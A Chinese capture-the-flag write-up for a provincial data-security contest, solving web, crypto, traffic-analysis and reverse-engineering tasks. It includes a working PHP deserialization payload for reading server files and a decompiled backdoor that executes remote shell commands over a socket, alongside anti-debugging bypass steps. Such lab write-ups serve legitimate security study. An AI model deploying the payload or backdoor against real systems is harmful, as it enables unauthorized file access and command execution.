26广东省数据安全挑战赛WP
由于本次比赛是安恒的,所以flag形式可能是DASCTF,FLAG,flag其中一种。
Web
code_share
题目翻译一下就是代码分享。
进入靶场打开f12开发人员工具,查看源代码搜索 DASCTF 即可获取flag

pooop
题目描述中提示了pop链,题目pooop也算是暗示了pop链。
按照PHP反序列化-pop链的做题思路,通常都是从后面往前看比较流畅。
<?php
class FileReader {
public $filename;
public $content;
public function __construct($filename = '') {
$this->filename = $filename;
$this->content = '';
}
public function read() {
if (file_exists($this->filename)) {
$this->content = file_get_contents($this->filename);
echo $this->content;
return $this->content;
}
return false;
}
public function __toString() {
return $this->content;
}
}
class DataProcessor {
public $reader;
public $data;
public function __construct($reader = null, $data = null) {
$this->reader = $reader;
$this->data = $data;
}
public function process() {
if ($this->reader && method_exists($this->reader, 'read')) {
return $this->reader->read();
}
return false;
}
public function __toString() {
return $this->process();
}
}
class OutputHandler {
public $processor;
public $format;
public function __construct($processor = null, $format = 'text') {
$this->processor = $processor;
$this->format = $format;
}
public function render() {
if ($this->format === 'html') {
return (string)$this->processor;
} elseif ($this->format === 'json') {
return json_encode($this->processor);
}
return 'Unsupported format';
}
public function __destruct() {
$this->render();
}
}
if (isset($_GET['data'])) {
unserialize($_GET['data']);
}
?>
做反序列通常先看入口:
if (isset($_GET['data'])) {
unserialize($_GET['data']);
}
这里明显就是通过GET请求的data参数传入payload。
然后再看一下调用。
// 首先是payload执行的地方。
// 明显就是这里,在代码执行完后销毁类的时候自动执行。
public function __destruct() {
$this->render();
}
// 然后就是找可以获取flag的地方,如命令执行,文件读取。
// 明显就是这里,需要filename=flag.php即可(原题中php代码上方有提示flag在flag.php中)
public function read() {
if (file_exists($this->filename)) {
$this->content = file_get_contents($this->filename);
echo $this->content;
return $this->content;
}
return false;
}
接下来分析pop链的构造,按照做pop链的思路,从后面往前看。
class OutputHandler {
public $processor;
public $format;
public function __construct($processor = null, $format = 'text') {
$this->processor = $processor;
$this->format = $format;
}
public function render() {
if ($this->format === 'html') {
return (string)$this->processor;
} elseif ($this->format === 'json') {
return json_encode($this->processor);
}
return 'Unsupported format';
}
public function __destruct() {
$this->render();
}
}
/*
首先,OutputHandler的processor,format参数可控。
1.当OutputHandler销毁的时候,调用__destruct。
2.这时会调用render函数。
3.当format = 'html'时,render函数会将processor变量当作字符串使用。
4.如果processor为对象,那么就会调用该对象的toString函数
*/
class DataProcessor {
public $reader;
public $data;
public function __construct($reader = null, $data = null) {
$this->reader = $reader;
$this->data = $data;
}
public function process() {
if ($this->reader && method_exists($this->reader, 'read')) {
return $this->reader->read();
}
return false;
}
public function __toString() {
return $this->process();
}
}
/*
首先,DataProcessor的reader,data参数可控。
1.前面的OutputHandler->processor为对象时,会调用toString函数,这里刚好有个toString,那么就OutputHandler->processor = DataProcessor()
2.此时会调用process
3.当render存在且存在read方法时,调用read方法。
*/
class FileReader {
public $filename;
public $content;
public function __construct($filename = '') {
$this->filename = $filename;
$this->content = '';
}
public function read() {
if (file_exists($this->filename)) {
$this->content = file_get_contents($this->filename);
echo $this->content;
return $this->content;
}
return false;
}
public function __toString() {
return $this->content;
}
}
/*
首先,FileReader的filename参数可控。
1.前面一步停留在render参数要有read方法才会执行,这里刚好有read方法,不妨让DataProcessor->render = FileReader()
2.此时会调用read函数,当filename = 'flag.php'时,读取flag.php的内容并echo出来。
*/
那么思路就很清晰了。
- 在GET函数的data参数中传入序列化字符串的payload
- 让
OutputHandler->format = 'html',OutputHandler->processor = DataProcessor(),此时类销毁时自动调用DataProcessor的toString函数 - 让
DataProcessor->reader = FileReader(),此时会调用FileReader的read方法 - 让
FileReader->filename = 'flag.php',此时会读取flag.php的内容,得到flag。
脚本如下:
<?php
class FileReader {
public $filename;
public $content;
public function __construct($filename = ''){
$this->filename = $filename;
$this->content = '';
}
}
class DataProcessor {
public $reader;
public $data;
public function __construct($reader = null, $data = null) {
$this->reader = $reader;
$this->data = $data;
}
}
class OutputHandler {
public $processor;
public $format;
public function __construct($processor = null, $format = 'text') {
$this->processor = $processor;
$this->format = $format;
}
}
$file = new FileReader('flag.php');
$dataPro = new DataProcessor($file);
$output = new OutputHandler($dataPro,$format = 'html');
$res = serialize($output);
echo $res;
"""
?data=O:13:"OutputHandler":2:{s:9:"processor";O:13:"DataProcessor":2:{s:6:"reader";O:10:"FileReader":2:{s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}s:4:"data";N;}s:6:"format";s:4:"html";}
"""
最终flag可以在开发者工具中查看

web-3
暂时没学过nodejs模板注入,没做。
Crypto
ez_stream

题目中有个stream,翻译过来就是流,ez也可以猜测就是easy,那么题目就是简单的流,在密码里那就翻译简单的流密码。
流密码和对称密码类似,加密解密方法一致,也就是说不需要知道加密过程,只需要重复使用加密这把“钥匙”即可解密。
flag = "DASCTF{xxxxxxxxxxx}"
t = [ord(letter) for letter in flag]
N,K,S=[256,[0]*256],[0]*256,[i for i in range(256)]
key='love'
for i in range(256):
S[i],K[i]=i,ord(key[i%len(key)])
j=0
for i in range(256):
j=(j+S[i]+K[i])%256
S[i],S[j]=S[j],S[i]
i,j=0,0
for k in range(len(t)):
i=(i+1)%256
j=(j+S[i])%256
S[i],S[j]=S[j],S[i]
t[k]^=S[(S[i]+S[j])%256]
print(t)
# [164, 34, 242, 5, 234, 79, 16, 182, 136, 117, 78, 78, 71, 168, 72, 79, 53, 114, 117]
这里的t相当于密文。那么作为明文,重新加密一次,就相当于解密了。
from Crypto.Util.number import *
import gmpy2
import base64
import re
key= 'love'
N,K,S=[256,[0]*256],[0]*256,[i for i in range(256)]
c = [164, 34, 242, 5, 234, 79, 16, 182, 136, 117, 78, 78, 71, 168, 72, 79, 53, 114, 117]
for i in range(256):
S[i],K[i]=i,ord(key[i%len(key)])
j=0
for i in range(256):
j=(j+S[i]+K[i])%256
S[i],S[j]=S[j],S[i]
i,j=0,0
for k in range(len(c)):
i=(i+1)%256
j=(j+S[i])%256
S[i],S[j]=S[j],S[i]
c[k] ^= S[(S[i]+S[j])%256]
print(bytes(c))
"""
b'DASCTF{rc4_is_easy}'
"""
最后flag还提示了这是对称密码中的RC4。
crypto-rsa-1-2

题目提示rsa,且e很小,尝试低加密指数攻击。
# c = 324331018188050785918794702679073305540310710315310662435718335809366720010036445669472655302907459037241268692174998551977728126500276127009526962139033582297480329196939696870501732148829961
# e = 2
# n = 1663290343494312556112418462597847770061332350523963564746495559626173161932723449333563945952280717524676578094635165194580132029080250218623035399460235342948238043471364469219928953249338677496747894434531246990952432429197970007988580154412994124146386101179611701791372576016234209885760923171749240891018761513156628357220900588459732582388377175561071270076399255456612578093404862456430272609443288212567765928359236213481454897614843403268663001726211649329165743596820852016929243464321459690931631007775858123487633037117704696486765217613485834828940395472342488273946113373733815665232562823134641821644
import gmpy2
from Crypto.Util.number import *
def de(c, e, n):
k = 0
while True:
m = c + n*k
# 对m进行开e次方根,返回整数和布尔值,结果为整数返回true
result, flag = gmpy2.iroot(m, e)
if True == flag:
return result
k += 1
e= 2
n= 1663290343494312556112418462597847770061332350523963564746495559626173161932723449333563945952280717524676578094635165194580132029080250218623035399460235342948238043471364469219928953249338677496747894434531246990952432429197970007988580154412994124146386101179611701791372576016234209885760923171749240891018761513156628357220900588459732582388377175561071270076399255456612578093404862456430272609443288212567765928359236213481454897614843403268663001726211649329165743596820852016929243464321459690931631007775858123487633037117704696486765217613485834828940395472342488273946113373733815665232562823134641821644
c= 324331018188050785918794702679073305540310710315310662435718335809366720010036445669472655302907459037241268692174998551977728126500276127009526962139033582297480329196939696870501732148829961
m=de(c,e,n)
print(long_to_bytes(m))
"""
b'DASCTF{3c8da13e7f443d2370e1be70aaf6c9fe}'
"""
crypto-3
这是一道RSA的题目
n1 % (q - 1) = h
n2 = p * q
phi = (p -1) * (q - 1) = pq - p - q + 1 = n2 - (q + p) + 1
flag = b"************"
m1 = bytes_to_long(flag[:len(flag)//2])
m2 = bytes_to_long(flag[len(flag)//2:])
p = getPrime(512)
q = getPrime(512)
n1 = p*q
e = 65537
c1 = pow(m1,e,n1)
h = n1 % (q-1)
p = getPrime(512)
e = getPrime(512)
q = gmpy2.next_prime(e)
n2 = p*q
phi = (p-1)*(q-1)
c2 = pow(m2,e,n2)
print(h,c1,n1,phi,c2,n2,sep=",")
"""
1566397295726868236680127094558421915922609098505633279956561683832140276425238866433651652263267114738401774583956607018494311353792263960578147268690081
27616760162776416376130496423997060022002165854427524750037188703231493307084879864999388077770807485177868133630205282924481293736553933973087934695106741324652414369733265200316336559459733709171669677482773580621547116542187614867895207365453237853065568205249521432423262843210490077299614077455129123821
70364492958500934564709252179442778535944630133302237568467411163045596849268079579170556114618287334631180126894362319694261559971515738948281518543001384960734818061314559349061634013646409419783324181328293294032693017638487949828832208453863779931215049814543810158832668665332466352086337247237398849521
94802294231139368727716531558110188865163759023536869658928787696189365967719682935307617431279098503316095619109566259791128780519814314993436600930598953771094468286040248139047912432719098191845380313202371580686318981665385778714665144378780670441452614601524067996744523499554713221036313581960340625632
225860282488173774474595989146691098438025146184385263922066080932645975599559469503633053391610350368440816235987719013835434008692446096354441161481854673953069041530930388942140014226757200401048887356470594465487864994123863371857018160807936078688927250084929372852171566778270607022794147915231822240
94802294231139368727716531558110188865163759023536869658928787696189365967719682935307617431279098503316095619109566259791128780519814314993436600930598973917329472874409508654971604553800097247624068572480068862257498098997383494654776604434162358604369776390041482534302524297592607257080417555770594967231
"""
提取出来的已知数据如下:
e1 = 65537
h = 1566397295726868236680127094558421915922609098505633279956561683832140276425238866433651652263267114738401774583956607018494311353792263960578147268690081
c1 = 27616760162776416376130496423997060022002165854427524750037188703231493307084879864999388077770807485177868133630205282924481293736553933973087934695106741324652414369733265200316336559459733709171669677482773580621547116542187614867895207365453237853065568205249521432423262843210490077299614077455129123821
n1 = 70364492958500934564709252179442778535944630133302237568467411163045596849268079579170556114618287334631180126894362319694261559971515738948281518543001384960734818061314559349061634013646409419783324181328293294032693017638487949828832208453863779931215049814543810158832668665332466352086337247237398849521
phi = 94802294231139368727716531558110188865163759023536869658928787696189365967719682935307617431279098503316095619109566259791128780519814314993436600930598953771094468286040248139047912432719098191845380313202371580686318981665385778714665144378780670441452614601524067996744523499554713221036313581960340625632
c2 = 225860282488173774474595989146691098438025146184385263922066080932645975599559469503633053391610350368440816235987719013835434008692446096354441161481854673953069041530930388942140014226757200401048887356470594465487864994123863371857018160807936078688927250084929372852171566778270607022794147915231822240
n2 = 94802294231139368727716531558110188865163759023536869658928787696189365967719682935307617431279098503316095619109566259791128780519814314993436600930598973917329472874409508654971604553800097247624068572480068862257498098997383494654776604434162358604369776390041482534302524297592607257080417555770594967231
由于内网比赛,笔记本没有能力进行大素数分解,yafu这些工具也无法解出,那只能靠数学魔法了。
根据代码,flag分为了两部分加密,一个m1,一个m2
先看第一部分以及对应已知内容
这里先看\(n_{1} = \bmod (q - 1)\) 能不能化简
为了后面方便书写,这里先化简\(q \bmod (q - 1)\)
这里继续
那么
由于p,q都是512位的(二进制的位数),那么大小差距不会太大,然后h是有509位,可以用h.bit_length()算出。
那么k不太可能是0,也不太可能是2,那么k只能是1。即
这样我们就知道了p-q,pq。
这里复习一下高中强大的韦达定理
则\(x_{1} + x_{2} = -\frac{b}{a}\) , \(x_{1}x_{2} = \frac{c}{a}\)
如果a = 1,那么\(x_{1} + x_{2} = -b\) ,\(x_{1}x_{2} = c\)
那么根据p-q,pq,我们就可以得到如下的一元二次方程
得出的x1,x2,其中一个是-p,其中一个是q
只需要得到一个正解,另一个就可以根据n1整除得到。
因此第一部分代码如下(这里使用z3模块进行解方程):
from Crypto.Util.number import *
import gmpy2
from z3 import *
e1 = 65537
h = 1566397295726868236680127094558421915922609098505633279956561683832140276425238866433651652263267114738401774583956607018494311353792263960578147268690081
c1 = 27616760162776416376130496423997060022002165854427524750037188703231493307084879864999388077770807485177868133630205282924481293736553933973087934695106741324652414369733265200316336559459733709171669677482773580621547116542187614867895207365453237853065568205249521432423262843210490077299614077455129123821
n1 = 70364492958500934564709252179442778535944630133302237568467411163045596849268079579170556114618287334631180126894362319694261559971515738948281518543001384960734818061314559349061634013646409419783324181328293294032693017638487949828832208453863779931215049814543810158832668665332466352086337247237398849521
x = Int('x')
solver = Solver()
solver.add(x ** 2 + (h - 1) * x - n1 == 0)
q1 = 0
if solver.check() == sat:
model = solver.model()
q1 = model[x].as_long()
p1 = n1 // q1
phi1 = (p1 - 1) * (q1 - 1)
d1 = inverse(e1, phi1)
m1 = pow(c1,d1,n1)
flag1 = long_to_bytes(m1)
print(flag1)
"""
b'DASCTF{r2@lly_3aSy_'
"""
接下来看第二部分已知内容
已知n和phi,实际上是可以用韦达定理得到p,q的值的,这是韦达定理在RSA中常用的办法
那么得出 \(p+q = 1 + n_{2} - phi\) ,pq已知
根据韦达定理,得出一元二次方程
得出的x1,x2,其中一个是p,其中一个是q
要求出明文,还需要一个e,且q = gmpy2.next_prime(e),那么能够得出明文的那个就是q。
from Crypto.Util.number import *
import gmpy2
from z3 import *
phi = 94802294231139368727716531558110188865163759023536869658928787696189365967719682935307617431279098503316095619109566259791128780519814314993436600930598953771094468286040248139047912432719098191845380313202371580686318981665385778714665144378780670441452614601524067996744523499554713221036313581960340625632
c2 = 225860282488173774474595989146691098438025146184385263922066080932645975599559469503633053391610350368440816235987719013835434008692446096354441161481854673953069041530930388942140014226757200401048887356470594465487864994123863371857018160807936078688927250084929372852171566778270607022794147915231822240
n2 = 94802294231139368727716531558110188865163759023536869658928787696189365967719682935307617431279098503316095619109566259791128780519814314993436600930598973917329472874409508654971604553800097247624068572480068862257498098997383494654776604434162358604369776390041482534302524297592607257080417555770594967231
x = Int('x')
p2_add_q2 = 1 + n2 - phi
solver = Solver()
solver.add(x ** 2 - p2_add_q2 * x + n2 == 0)
val = []
if solver.check() == sat:
model = solver.model()
val.append(model[x].as_long())
solver.add(x != val[0])
if solver.check() == sat:
model = solver.model()
val.append(model[x].as_long())
flag2 = ''
for q2 in val:
e2 = gmpy2.prev_prime(q2)
p2 = n2 // q2
d2 = inverse(e2, phi)
m2 = pow(c2,d2,n2)
flag2 = long_to_bytes(m2)
if b'}' in flag2:
print(flag2)
"""
b'rsa_challenage!!!!}'
"""
两部分整合在一起,得到flag
from Crypto.Util.number import *
import gmpy2
from z3 import *
e1 = 65537
h = 1566397295726868236680127094558421915922609098505633279956561683832140276425238866433651652263267114738401774583956607018494311353792263960578147268690081
c1 = 27616760162776416376130496423997060022002165854427524750037188703231493307084879864999388077770807485177868133630205282924481293736553933973087934695106741324652414369733265200316336559459733709171669677482773580621547116542187614867895207365453237853065568205249521432423262843210490077299614077455129123821
n1 = 70364492958500934564709252179442778535944630133302237568467411163045596849268079579170556114618287334631180126894362319694261559971515738948281518543001384960734818061314559349061634013646409419783324181328293294032693017638487949828832208453863779931215049814543810158832668665332466352086337247237398849521
phi = 94802294231139368727716531558110188865163759023536869658928787696189365967719682935307617431279098503316095619109566259791128780519814314993436600930598953771094468286040248139047912432719098191845380313202371580686318981665385778714665144378780670441452614601524067996744523499554713221036313581960340625632
c2 = 225860282488173774474595989146691098438025146184385263922066080932645975599559469503633053391610350368440816235987719013835434008692446096354441161481854673953069041530930388942140014226757200401048887356470594465487864994123863371857018160807936078688927250084929372852171566778270607022794147915231822240
n2 = 94802294231139368727716531558110188865163759023536869658928787696189365967719682935307617431279098503316095619109566259791128780519814314993436600930598973917329472874409508654971604553800097247624068572480068862257498098997383494654776604434162358604369776390041482534302524297592607257080417555770594967231
x = Int('x')
solver = Solver()
solver.add(x ** 2 + (h - 1) * x - n1 == 0)
q1 = 0
if solver.check() == sat:
model = solver.model()
q1 = model[x].as_long()
p1 = n1 // q1
phi1 = (p1 - 1) * (q1 - 1)
d1 = inverse(e1, phi1)
m1 = pow(c1,d1,n1)
flag1 = long_to_bytes(m1)
x = Int('x')
p2_add_q2 = 1 + n2 - phi
solver = Solver()
solver.add(x ** 2 - p2_add_q2 * x + n2 == 0)
val = []
if solver.check() == sat:
model = solver.model()
val.append(model[x].as_long())
solver.add(x != val[0])
if solver.check() == sat:
model = solver.model()
val.append(model[x].as_long())
flag2 = ''
for q2 in val:
e2 = gmpy2.prev_prime(q2)
p2 = n2 // q2
d2 = inverse(e2, phi)
m2 = pow(c2,d2,n2)
flag2 = long_to_bytes(m2)
if b'}' in flag2:
print(flag2)
flag = flag1 + flag2
print(flag)
"""
b'DASCTF{r2@lly_3aSy_rsa_challenage!!!!}'
"""
Misc
easyResQ
拿到流量包,先看协议分级

基本都是HTTP流。那就再看一下HTTP请求

发现这个echo后面的内容有问题。很明显藏了内容,提取出来。
这里使用wireshark的cli工具,tshark
tshark -r easyResQ.pcapng -Y "http.request" -T fields -e http.request.uri > data.txt

放到CyberChef中进行提取

内容存在大小写字母和数字,猜测base64。

Protocol_decryption
一样的,给了流量包,先看协议分级

那么先看http

有个在传输pyc文件,那么提取出来。在文件->导出->HTTP对象中。

pyc是python的二进制文件,可以用python的uncompyle6得到反编译出原始文件。该模块用pip安装即可。
uncompyle6 .\2.cpython-37.pyc > data.py
data.py内容如下
# uncompyle6 version 3.9.3
# Python bytecode version base 3.7.0 (3394)
# Decompiled from: Python 3.13.0 (tags/v3.13.0:60403a5, Oct 7 2024, 09:38:07) [MSC v.1941 64 bit (AMD64)]
# Embedded file name: /home/k/s/2.py
# Compiled at: 2024-10-29 19:24:25
# Size of source mod 2**32: 1950 bytes
import socket, subprocess
CUSTOM_BASE64_CHARS = "LMNOPQRSTUVWxyzabcdefghijklmnopqrstuvw0123456789+/XYZABCDEFGHIJK"
def custom_base64_encode(data):
binary_string = "".join((format(byte, "08b") for byte in data))
padding = len(binary_string) % 6
if padding:
binary_string += "0" * (6 - padding)
encoded_string = ""
for i in range(0, len(binary_string), 6):
chunk = binary_string[i[:i + 6]]
index = int(chunk, 2)
encoded_string += CUSTOM_BASE64_CHARS[index]
return encoded_string
def custom_base64_decode(encoded_string):
binary_string = ""
for char in encoded_string:
index = CUSTOM_BASE64_CHARS.index(char)
binary_string += format(index, "06b")
binary_string = binary_string.rstrip("0")
decoded_data = bytearray()
for i in range(0, len(binary_string), 8):
byte = binary_string[i[:i + 8]]
if byte:
decoded_data.append(int(byte, 2))
return bytes(decoded_data)
def execute_command(command):
try:
result = subprocess.run(command, shell=True, capture_output=True, text=True)
return result.stdout + result.stderr
except Exception as e:
try:
return str(e)
finally:
e = None
del e
def start_server():
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(('0.0.0.0', 3333))
server_socket.listen()
print("Server is listening...")
conn, addr = server_socket.accept()
print(f"Connected by {addr}")
while True:
data = conn.recv(1024)
if not data:
break
decoded_command = custom_base64_decode(data.decode()).decode()
print(f"Received command (decoded): {decoded_command}")
output = execute_command(decoded_command)
encoded_output = custom_base64_encode(output.encode())
conn.sendall(encoded_output.encode())
conn.close()
if __name__ == "__main__":
start_server()
# okay decompiling 2.cpython-37.pyc
首先看到有个变量,翻译过来就是自定义的base64字符,猜测base64换表。

中间内容看函数名即可,入自定义的base64加密等。
看到最后面,这里暴露服务器端口是3333,并且有进行信息的base64换表加密。

那看看这个服务器究竟传输了什么信息。

发现部分存在Data数据,内容像16进制的。
提取所有源端口是3333,并且是存在Data数据的。
tshark -r protocol.pcap -Y "tcp.srcport eq 3333 and data" -T fields -e data > data.txt

放到CyberChef进行操作(注意这里是进行base64换表的)

RE
re-1
使用DIE进行分析

32位小端序。
使用IDA打开,进来进入main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+0h] [ebp-29Ch]
int j; // [esp+8Ch] [ebp-210h]
int i; // [esp+90h] [ebp-20Ch]
int v7; // [esp+94h] [ebp-208h]
int v8; // [esp+98h] [ebp-204h]
HMODULE ModuleHandleA; // [esp+A0h] [ebp-1FCh]
_DWORD v10[100]; // [esp+A8h] [ebp-1F4h] BYREF
_WORD v11[50]; // [esp+238h] [ebp-64h] BYREF
memset(v10, 0, 0x64u);
sub_401210("Give me flag:", v4);
gets(v11);
if ( NtCurrentPeb()->BeingDebugged )
{
puts("Something wrong");
exit(0);
}
ModuleHandleA = GetModuleHandleA(0);
v8 = *(_DWORD *)((char *)ModuleHandleA + *((_DWORD *)ModuleHandleA + 15));
v7 = 0;
for ( i = 0; i < 20; ++i )
{
v10[i] = v8 * (unsigned __int16)v11[v7];
v8 = (HIWORD(v10[i]) ^ (unsigned __int64)(unsigned __int16)v11[v7++]) % 0x10000;
}
for ( j = 0; j < 20; ++j )
{
if ( v10[j] != dword_404000[j] )
{
puts("Wrong flag");
exit(0);
}
}
puts("Congratulations");
return 0;
}
"""
dword_404000 = [0x11abb940, 0x1548ca7d, 0x17a7a2dc, 0x1f8665c1, 0x1a4715d1, 0x121496e8, 0x2b04c700, 0x106a1bbc, 0x8666d57, 0xbc5b6a8, 0x1683b7d1, 0x2f103506, 0xe1b0681, 0x189a10b0, 0x1749e712, 0xf4fdf30, 0x14c9965e, 0x856feb0, 0xa70e70e, 0x1df43930]
"""
这里有个BeingDebugged,明显就是反调试。
出现NtCurrentPeb(),可以确定是PEB反调试。
if ( NtCurrentPeb()->BeingDebugged )
{
puts("Something wrong");
exit(0);
}
这里nop掉后发现以下问题:


这里查阅资料发现
- VCRUNTIME140D.dll — VS2015+ 调试版 C++ 运行时
- ucrtbased.dll — 调试版 Universal C Runtime
说明这个程序是 Debug 编译的,需要安装 Visual Studio 的调试运行时才能跑。
后缀带d的是调试版
当然可以单独下载对应的dll文件(这个网址需要点魔法):vcruntime140d.dll 免费下载 | DLL‑files.com

也可以找找电脑上其他应用有没有包含这些dll,搬过来(当然要确保是32位的)。

因为给的文件是32位的,所以dll文件要放在C:\Windows\SysWOW64下。
这里就当作无法调试吧,采用静态分析。
这里看一下获取flag的条件,很明显只需要v10的值等于dword_404000即可,dword_404000已知。
for ( j = 0; j < 20; ++j )
{
if ( v10[j] != dword_404000[j] )
{
puts("Wrong flag");
exit(0);
}
}
由于加密过程涉及v8,先看v8
ModuleHandleA = GetModuleHandleA(0);
v8 = *(_DWORD *)((char *)ModuleHandleA + *((_DWORD *)ModuleHandleA + 15));
这里的GetModuleHandleA(0)相当于获取基址。
那么基址是多少呢,可以用DIE查看

那么(char *)ModuleHandleA = 0x400000
接下来看(_DWORD *)ModuleHandleA + 15),注意这是DWORD指针的加法计算,看似加15,实则+(15 * 4) = 60 = 0x3C,其中4是表示DWORD占用四个字节。
所以*((_DWORD *)ModuleHandleA + 15)这个就是取0x40003C的值。
依旧DIE查看

偏移0x3C的值刚好是0xE8。
e_lfanew 是 DOS 头(IMAGE_DOS_HEADER) 中的一个字段,位于偏移 0x3C 处,作用是:
告诉 Windows 加载器:PE 头(NT 头)在文件的哪个位置。
因此找到PE头(NT头)

得到v8的初始值:0x4550
接下来看核心加密内容
// v11 是输入点,即flag
v7 = 0;
for ( i = 0; i < 20; ++i )
{
v10[i] = v8 * (unsigned __int16)v11[v7];
v8 = (HIWORD(v10[i]) ^ (unsigned __int64)(unsigned __int16)v11[v7++]) % 0x10000;
}
这里需要理解一下% 0x10000,由于前面的v11[v7++]是WORD,HIWORD(v10[i])也是WORD,那么他们异或的结果肯定也是WORD(4字节),那么不可能大于0x10000,那么这里就相当于HIWORD(v10[i]) ^ v11[v7++]
那么翻译下来加密过程如下
v8 = 0x4550
for i in range(20):
v10[i] = v8 * flag[i]
v8 = HIWORD(v10[i]) ^ flag[i]
那么v8相当于不断变化的key,
那么解密脚本如下
import struct
c = IDA_404000 = [0x11abb940, 0x1548ca7d, 0x17a7a2dc, 0x1f8665c1, 0x1a4715d1, 0x121496e8, 0x2b04c700, 0x106a1bbc, 0x8666d57, 0xbc5b6a8, 0x1683b7d1, 0x2f103506, 0xe1b0681, 0x189a10b0, 0x1749e712, 0xf4fdf30, 0x14c9965e, 0x856feb0, 0xa70e70e, 0x1df43930]
key = 0x4550
flag = [0 for x in range(20)]
# & 0xffff 是为了截断,同时也是有符号转无符号,养成习惯,根据数据类型截断。
for i in range(20):
flag[i] = (c[i] // key) & 0xffff
key = ((c[i] >> 16) ^ flag[i]) & 0xffff
m = bytearray()
for i in range(20):
m.extend(struct.pack('<I',flag[i]))
print(m.decode())
"""
DASCTF{be54b8ba9e482ec1fa18c90ec3188170}
"""
re-2
放到DIE中分析,小端序,32位。

用IDA打开。
进来Ctrl + E 查看入口

发现有TLS调试。
进去看看。

发现无法反汇编,这里的
xor eax, eax
jz short near ptr loc_401593+2
相当于
jmp loc_401593+2 ;401593+2 刚好就是后面jmp跟着的地址,这个地址还报红了。
这里可以对0x401593地址的jmp指令按U取消定义,并nop掉jmp这个指令(两个字节:E9 ED)
往后看有个类似检查栈的东西,还有个retn

__security_check_cookie: 微软Visual C++运行时提供的栈保护检查函数(GS机制的一部分),用于检测栈溢出/缓冲区溢出攻击。
先对TLS函数内容(知道retn结束)按住C重新编译(因为取消定义并用nop掉了一些东西),然后按住P构建函数。
char *__stdcall TlsCallback_0_0(int a1, int a2, int a3)
{
char *result; // eax
char v4; // [esp+0h] [ebp-14h]
sub_40108C("hhh", v4);
result = (char *)(char)NtCurrentPeb()->BeingDebugged;
if ( result != (char *)1 )
return strcpy(
Destination, // "xixixx"
"DASCTF");
return result;
}
可以看出当我们不进行调试的时候,就会将Destination赋值为DASCTF,如果调试了,那就不做修改。
由于有个栈保护检查,那么不能有太大的改动,看到if条件的指令有个cmp eax,1,那么就把这里条件改成cmp eax,0

源代码变成这样,当进行调试的时候,修改Destination的值,就和之前没调试的一样了。
char *__stdcall TlsCallback_0_0(int a1, int a2, int a3)
{
char *BeingDebugged_1; // eax
char v4; // [esp+0h] [ebp-14h]
signed __int8 BeingDebugged; // [esp+Fh] [ebp-5h]
sub_40108C("hhh", v4);
BeingDebugged = NtCurrentPeb()->BeingDebugged;
BeingDebugged_1 = (char *)BeingDebugged;
if ( BeingDebugged )
return strcpy(
Destination, // "xixixx"
"DASCTF");
return BeingDebugged_1;
}
"""
记一下Destination的地址:.data:0040A000
"""
接着看main函数,同样的问题,存在花指令。

根据前面的修改办法,修改后main函数如下:
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
char v4; // [esp+0h] [ebp-224h]
char v5; // [esp+0h] [ebp-224h]
int i; // [esp+Ch] [ebp-218h]
_DWORD v7[65]; // [esp+14h] [ebp-210h] BYREF
_BYTE v9[52]; // [esp+120h] [ebp-104h]
char Str[204]; // [esp+154h] [ebp-D0h] BYREF
sub_401064();
input("DASCTF,input flag:\n", v4);
memset(Str, 0, 0xC8u);
v9[0] = 13;
v9[1] = -41;
v9[2] = -5;
v9[3] = 5;
v9[4] = -32;
v9[5] = -18;
v9[6] = 13;
v9[7] = -105;
v9[8] = -92;
v9[9] = -17;
v9[10] = 96;
v9[11] = 20;
v9[12] = -29;
v9[13] = -96;
v9[14] = 41;
v9[15] = -117;
v9[16] = 74;
v9[17] = 55;
v9[18] = -20;
v9[19] = 83;
v9[20] = -66;
v9[21] = -48;
v9[22] = -46;
v9[23] = -8;
v9[24] = -83;
v9[25] = 19;
v9[26] = 96;
v9[27] = -89;
v9[28] = -58;
v9[29] = -60;
v9[30] = 96;
v9[31] = 113;
v9[32] = -43;
v9[33] = 85;
v9[34] = 113;
v9[35] = 19;
v9[36] = 62;
v9[37] = -1;
v9[38] = 29;
v9[39] = -6;
v9[40] = 18;
v9[41] = 0x80;
v9[42] = -29;
v9[43] = 41;
print("%s", (char)Str); // 输入点Str
if ( strlen(Str) != 44 ) // 长度限制44
exit(0);
if ( !sub_401276(Str, "DASCTF{") ) // 进去后面有个strstr,这是比较字串是否存在的
exit(0);
sub_40119F(
xixixx, // "xixixx"
6,
v7);
sub_4011D6(Str, 44, v7);
for ( i = 0; i < 44; ++i )
{
if ( (char)v9[i] != Str[i] ) // 只需要v9 == Str即可,那么v9就是最终密文
exit(0);
}
return input("goood!", v5);
}
"""
1.xixixx的地址:.data:0040A000,与前面的Destination一致。那么xixixx具体值应该为DASCTF
"""
接下来将对sub_401064(); sub_40119F(xixixx, 6,v7);,sub_4011D6(Str, 44, v7);依次分析。
分析后发现
sub_401064();:对key进行了加密,有rand,大概率是动态的sub_40119F(xixixx, 6,v7);:对v7(长度为256)进行了加密sub_4011D6(Str, 44, v7);:使用key(长度为6)和v7共同加密Str
这里由于不知道v7,key都不知道是什么,只知道密文v9,所以需要进行动态调试进行获取。


如果想动态调试上面内容,那么需要将patch内容导入到文件中再调试。

这里为了不修改源文件,就断点在前面修改tls时的cmp指令的地方,并现场修改一下。

这里要确保调试的时候,这个的值要是DASCTF

调试到这里,那么v7就是被加密后的,这里直接获取这个v7


一定要点击v7进去再提取数据,否则直接v7只会提取v7的地址而不是值。
这里也可以顺便提取一下密文v9(长度44,同Str):

用F7进去en_Str函数中看,可以得到前面动态加密后的key。

由于key是动态生成的,那么生成的密文可能不一样,根据明文前面一定是DASCTF{,那么就可以根据这个进行明文爆破,得到key。再根据这个key进行获取flag。
这里的加密算是变种rc4(也就是第一道密码题),有根据xixixx(DASCTF)生成S-box(v7,长度256),加密算法也类似。看不出的当然可以根据动态调试一点一点逆向。
这里写出解密脚本
